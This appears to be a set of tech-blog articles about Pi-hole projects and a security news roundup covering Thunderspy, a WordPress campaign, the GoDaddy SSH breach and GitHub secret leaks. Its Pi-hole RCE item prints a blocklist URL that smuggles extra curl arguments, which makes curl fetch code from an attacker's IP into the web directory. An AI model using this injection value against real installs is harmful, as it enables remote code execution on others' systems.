We’ve seen many inventive enclosures for single board computers over the years: some are decorative, others utilitarian, and yet more tailored to an application. This one from [Daniel Hepper] manages to be all three: a practical enclosure for an OrangePi Zero LTS running the PiHole web spam filter, enclosed in a seemingly unopened Spam tin.
The inspiration came from an out-of-date tin of Spam, a souvenir that had lain around for a decade. It had a paper label that could be carefully removed, after which a Dremel was used to cut an aperture in the reverse of the tin. The tasty-but-expired luncheon meat could then be scooped out, and a 3D-printed carrier for the OrangePi slid in. The label reattached, it looks for all the world like an unopened tin of Spam with a PoE cable emerging from its behind.
Thunderspy was announced this week, developed by [Björn Ruytenberg]. A series of attacks on the Thunderbolt 3 protocol, Thunderspy is the next vulnerability in the style of Inception, PCILeech, and Thunderclap.
Inception and PCILeech were attacks on the naive Direct Memory Access (DMA) built into Firewire, Thunderbolt 1, and PCIe. A device could connect and request DMA over the link. Once granted, it could access the bottom four gigabytes of system memory, with both read and write access. It’s not hard to imagine how that would be a huge security problem, and it seems that this technique was in use by intelligence agencies at the time it was discovered. As an aside, the hardware DMA was entirely independent of software, so it was possible to debug a crashed kernel over firewire.
Once the vulnerability was made public, hardware and software vendors have taken steps to harden their systems against the attack. Thunderbolt 2 introduced security levels as a mitigation against the attacks. A user has to mark a device as trusted before DMA is offered to that device. Thunderclap exploited a series of vulnerabilities in how individual OSes interacted with those hardware mitigations.
Now, Thunderspy abuses a series of problems in Intel’s Thunderbolt 3 specification and implementation. One interesting attack is cloning an already trusted Thunderbolt device. Plugging a Thunderbolt device into a Linux machine easily captures the device UUID. A malicious Thunderbolt device can be given that same UUID, and suddenly has the same level of trust as the cloned device.
[Björn] took the attack a step further, and discovered that he could disassemble a laptop or thunderbolt device, and read the firmware directly off the thunderbolt controller. That firmware can be modified and re-uploaded. One of the simplest attacks that enables is turning the security level to its lowest setting.
It’s interesting research, and there are fixes coming or already in place to mitigate the problems found. The real question is how much Thunderspy matters. The threat model is the evil maid: A laptop left in a motel room would be available to the cleaning staff for a few minutes. Thunderspy could potentially be used for this style of attack, but there are many other potentially better attack options. There is a narrow circumstance where Thunderspy is the perfect technique: A device with an encrypted drive, that’s been powered on and logged into, but locked. In this case, Thunderspy could be used to recover the drive encryption key stored in memory, and then used to plant malware.
That Time When Facebook Broke Everything
You may have noticed some widespread iOS application misbehavior on the 6th. Facebook introduced a change to the server component to their sign-on SDK, which caused many apps that made use of that SDK to crash. It’s worth asking if it’s a good idea for so many popular apps to use Facebook code. There doesn’t appear to have been a vulnerability or path to compromise other than the denial of service.
Large-scale WordPress attack
Nearly a million WordPress sites are under attack, in a campaign targeting a variety of vulnerabilities. The general attack strategy is to inject a malicious javscript that lays dormant until it’s executed by a site administrator. Ironically, logging in to your site to check it for compromise could be the trigger that leads to compromise. As always, keep your plugins up to date and follow the rest of the best practices.
On April 23, 2020, we identified SSH usernames and passwords had been compromised through an altered SSH file in our hosting environment. This affected approximately 28,000 customers. We immediately reset these usernames and passwords, removed the offending SSH file from our platform, and have no indication the threat actor used our customers’ credentials or modified any customer hosting accounts. To be clear, the threat actor did not have access to customers’ main GoDaddy accounts.
A fun RCE exploit was discovered in the Pi-hole software. This particular problem requires authenticated access to the Pi-hole administrative web interface, so it’s not likely to cause too many problems on its own. Exploiting the flaw is simple, just set http://192.168.122.1#" -o fun.php -d " as the remote blocklist, with an IP that you control. Under the hood, the remote blocklist is fetched via curl, and the URL isn’t properly sanitized. Your PHP code is saved in the web directory, and an HTTP request triggers that code.
Leaking on Github
[Tillson Galloway] tells the story of how he made $10,000 in bug bounties, simply by searching Github for passwords and keys that shouldn’t be there. By searching for specific keywords, he found all sorts of interesting, unintentional things. vim_settings.xml contains recently copied and pasted strings, and .bash_history contains a record of commands that have been run. How many times have you accidentally typed a password in on the command line, thinking you were authenticating with SSH or sudo, just for an example? It’s an easy mistake to make, to accidentally include one of these hidden files in a public repository.
There have been examples of API keys accidentally included in source code drops, and even SSL certificates leaked this way over the years. It’s a lesson to all of us, make sure to sanitize projects before pushing code to Github.
Pi-hole is an open source project to turn that Raspberry Pi collecting dust in your drawer into a whole-network ad blocking appliance. Not only does it stop ads from showing up on all your computers and mobile devices, it also keeps track of how many ads have been blocked and where they came from. Just in case you wanted to know how many thousands of ads you missed out on for a given time period.
While the graphs generated in the web interface of Pi-hole are slick and all, what if you just wanted a quick way of visualizing how effective your ad blocking system is? You’re not so much worried about the exact figures, you just want something to blink away on your desk and let you know all those ads are going to /dev/null. Enter the aptly named pi-hole-visualizer by [simianAstronaut].
With the addition of a Sense HAT to the Pi running the ad blocking, this Python script will generate an animated visualization that can be easily interpreted even from a distance. The primary display is a bar graph of DNS traffic, where the height and color of each column indicate relative activity within a specific time interval. A second screen shows a spiral graph which gives you an idea of what percentage of ads were blocked before they hit your devices.
An array of options can be given to the script from the command line; controlling both physical aspects of the display like orientation and LED brightness, as well the configurable parameters for the different available visualizations. As an added bonus, there’s also support for using the Sense HAT joystick to switch between modes interactively.